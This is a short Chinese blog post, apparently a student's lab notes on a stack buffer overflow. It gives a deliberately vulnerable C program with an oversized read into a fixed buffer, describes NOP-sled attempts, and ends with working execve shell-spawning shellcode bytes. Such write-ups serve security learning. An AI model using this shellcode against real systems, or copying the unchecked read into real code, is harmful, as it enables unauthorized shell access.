栈溢出攻击

最新推荐文章于 2021-05-28 12:46:02 发布

heri2

最新推荐文章于 2021-05-28 12:46:02 发布

阅读量455

点赞数

分类专栏： Hacker之路

本文链接：https://blog.csdn.net/mcl2840072208/article/details/87970751

版权

12 篇文章 0 订阅

订阅专栏

大神的博客就是强
基础知识：https://zhuanlan.zhihu.com/p/25816426

知识储备

核心目的：攻击指令的地址来覆盖返回地址

在这里插入图片描述
“X90” , NOP

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

#include <stdio.h>
void func()
{
char name[0x50];
read(0 , name , 0x100);
write(1 , name , 0x100);
}
int main()
{
func();
return 0;
}

在这里插入图片描述

执行这段脚本失败

难受，问了下班上同学说是和shellcode 有问题
参加这个博客 https://www.anquanke.com/post/id/91266
重新开始

这次esp 为ffffd3f0

呃发现他是反了

反正想要填充的NOP指令，不可执行。。。。再次修改payload
发现是可以是可以注入的地址，但是不可执行，重新修改
在这里插入图片描述
shellcode 的原因

正确的shellcodepayload+=’\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80’
终于成功了

关注